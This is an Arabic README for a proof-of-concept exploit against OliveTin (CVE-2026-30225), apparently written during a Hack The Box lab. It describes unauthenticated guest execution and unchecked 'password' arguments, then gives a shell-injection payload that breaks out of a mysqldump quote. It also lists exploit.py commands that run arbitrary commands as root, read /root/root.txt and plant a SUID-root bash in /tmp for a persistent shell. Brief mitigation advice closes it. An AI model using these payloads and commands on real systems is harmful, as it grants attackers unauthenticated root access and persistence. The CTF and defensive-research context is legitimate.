
إثبات مفهوم لاستغلال ثغرة تنفيذ الأوامر عن بُعد غير المصادق عليها في OliveTin (CVE-2026-30225) عبر الإعدادات الافتراضية غير الآمنة للضيوف وأنواع الوسائط غير المُتحقق منها، مما يتيح الحصول على قشرة جذر على الحالات المعرضة للخطر.
إثبات مفهوم (PoC) لتصعيد الامتيازات / تنفيذ أوامر عن بُعد ضد مثيلات OliveTin التي تعمل بالإعدادات الافتراضية المرفقة للضيوف. تم التحقق منه ضد OliveTin 3000.10.0 يعمل بصلاحيات root (HTB: Enigma)، حيث يمنح وصولاً جذريًا (root shell) غير مصادق عليه.
⚠️ للاستخدام المصرح به فقط. نُشر لأغراض تعليمية، ولعب CTF، والبحث الدفاعي. استخدامه ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها غير قانوني. لا يوجد أي ضمان. انظر LICENSE.
يأتي ملف الإعداد المثال / الافتراضي في OliveTin مع:
authRequireGuestsToLogin: false
defaultPermissions: { view: true, exec: true, logs: true }
مع هذا، يمكن لمتصل غير مصادق عليه (WhoAmI ← "guest") استدعاء
StartActionAndWait وتشغيل أي إجراء. تُنفَّذ الإجراءات كمستخدم
عملية OliveTin — وغالبًا ما يكون root.
internal/executor/arguments.go ← TypeSafetyCheck():
case "password": return nil
case "raw_string_multiline": return nil
case "checkbox": return nil
هذه الأنواع لا يتم التحقق منها إطلاقًا. أي إجراء يُدرج وسيطًا من هذا
النوع في قالب shell: الخاص به يُعدّ نقطة حقن أوامر. على Enigma، يحتوي ملف
/etc/OliveTin/config.yaml الحي على:
- id: backup_database
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
arguments:
- { name: db_user, type: ascii_identifier }
- { name: db_pass, type: password } # <-- غير مُتحقق منه، يقع داخل -p'...'
- { name: db_name, type: ascii_identifier }
db_pass = x'; <cmd>; echo __OT_DONE__ # يُغلق علامة الاقتباس -p'…'، ويُسلسل
<cmd>، و # يُعلّق الجزء المتبقي ' <db_name> > /opt/backups/backup.sql.
أ + ب ضد OliveTin بصلاحيات root = تنفيذ أوامر عن بُعد غير مصادق عليه بصلاحيات root.
RestartActionيعيد RestartAction بناء الطلب الداخلي دون حمل ترويسات/كوكيز المصادقة
للمتصل، لذا فإن إعادة التشغيل تُحل دائمًا إلى مستخدم الضيف (تجاوز قائمة
التحكم بالوصول ACL عندما يكون الضيف أكثر امتيازًا من المتصل). تم إصلاحه في 3000.11.1.
في الإصدارات ≤ 3000.10.x يكون المعالج أيضًا منفّذًا جزئيًا (// FIXME)
ويُرسل BindingId فارغًا، لذا فهو يعيد فقط
action with ID "" not found ولا يمكنه إعادة تنفيذ أي شيء. يُبلغ test-restart
عما يفعله الهدف فعليًا. على Enigma هذا المسار لا يعمل — المشكلتان
أ + ب هما ما يمنحان تنفيذ الأوامر.
requests — pip install -r requirements.txt127.0.0.1:1337؛ استخدم نفقًا/نقطة
انطلاق حسب الحاجة — على Enigma فقط المستخدم uid 1000 يمكنه الوصول إلى المنفذ)../exploit.py -u http://127.0.0.1:1337 <mode>
modes:
check الهوية، قائمة الإجراءات، الوسائط القابلة للحقن، حالة CVE-2026-30225
test-restart فحص سلوك RestartAction فقط
exploit --action <id> [--set NAME=VALUE ...] [--inject NAME --quote {single,double,none} --cmd '<cmd>']
global:
--cookie 'olivetin-sid-local=...' التصرف كمستخدم محلي مصادق عليه (اختياري)
# استطلاع
./exploit.py -u http://127.0.0.1:1337 check
# HTB Enigma: تشغيل أمر بصلاحيات root
./exploit.py -u http://127.0.0.1:1337 exploit \
--action backup_database --set db_user=root --set db_name=x \
--inject db_pass --quote single --cmd 'id; hostname; cat /root/root.txt'
# إسقاط bash بصلاحيات SUID-root لصدفة دائمة
./exploit.py -u http://127.0.0.1:1337 exploit \
--action backup_database --set db_user=root --set db_name=x \
--inject db_pass --quote single --cmd 'cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb'
# ثم: /tmp/rb -p
يعيد StartActionAndWait مخرجات الأمر القياسية في logEntry.output، لذا
تأتي المخرجات (العلم، uid=0(root)، …) مباشرة في الاستجابة.
يسرد check كل إجراء مرئي ويُعلّم تلك التي تستخدم وسائطها نوعًا بدون
تحقق. اختر واحدًا، واكتشف كيف يُقتبس الوسيط في سلسلة shell: الخاصة به
(--quote single|double|none)، ثم نفّذ exploit --inject <arg> --cmd '<payload>'. يمكن تشغيل الإجراءات غير المعروضة على أي لوحة تحكم
بالنقر على معرفها (--action <id>).
authRequireGuestsToLogin: true وأزل exec من صلاحيات الضيف/الافتراضية؛
وامنح كل قائمة تحكم بالوصول (ACL) الحد الأدنى الذي تحتاجه.user: لكل إجراء حيثما كان مدعومًا).type؛
وتجنب إدراج الوسائط في سلاسل shell: — فضّل صيغة وسائط exec:
واقتبس/تحقق بدقة.RestartAction في OliveTin يشغّل الإجراءات كضيفinternal/executor/arguments.go (TypeSafetyCheck)، internal/api/api.go (RestartAction, StartAction)البحث وإثبات المفهوم أثناء اختراق HTB: Enigma (www-data → haris → OliveTin → root).